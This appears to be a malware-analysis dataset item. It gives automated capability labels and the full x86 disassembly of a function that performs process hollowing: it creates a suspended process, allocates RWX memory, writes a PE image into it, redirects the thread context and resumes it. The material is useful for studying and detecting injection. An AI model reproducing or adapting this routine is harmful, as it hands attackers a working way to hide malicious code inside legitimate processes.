Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2b8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2b4], eax
mov eax, ecx
mov ecx, 0x5a4d
push esi
push edi
mov dword [esp + 0x10], eax
cmp word [eax], cx
jne 0x10001238
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x10001238
push 0x104
lea eax, [esp + 0xac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x44
lea eax, [esp + 0x64]
xorps xmm0, xmm0
push 0
push eax
movaps xmmword [esp + 0x2c], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x64]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001238
push 0x2cc
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10001226
mov esi, dword [esp + 0x20]
push str.NtQueryInformationProcess
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x5c]
mov dword [esp + 0x5c], 0
push ecx
push 0x18
lea ecx, [esp + 0x38]
xorps xmm0, xmm0
push ecx
push 0
push esi
movaps xmmword [esp + 0x44], xmm0
movq qword [esp + 0x54], xmm0
call eax
test eax, eax
js 0x10001238
cmp dword [esp + 0x34], 0
je 0x10001238
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [esp + 0x30]
call esi
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x10001161
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call esi
mov dword [esp + 0x1c], eax
test eax, eax
je 0x10001238
push 0
push dword [edi + 0x54]
push dword [esp + 0x18]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001238
mov ecx, dword [esp + 0x10]
xor eax, eax
movzx esi, word [edi + 0x14]
add esi, 0x28
mov dword [esp + 0x14], 0
add esi, dword [ecx + 0x3c]
cmp ax, word [edi + 6]
jae 0x100011d8
add esi, ecx
nop dword [eax]
mov eax, dword [esi + 4]
push 0
push dword [esi]
add eax, ecx
push eax
mov eax, dword [esi - 4]
add eax, dword [esp + 0x28]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001238
mov ecx, dword [esp + 0x14]
add esi, 0x28
movzx eax, word [edi + 6]
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, eax
mov ecx, dword [esp + 0x10]
jl 0x100011a0
push 0
push 4
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001238
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x1c]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10001238
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x10001238
push dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x20]
call esi
mov ecx, dword [esp + 0x2bc]
pop edi
pop esi
xor ecx, esp
call fcn.1000144b
mov esp, ebp
pop ebp
ret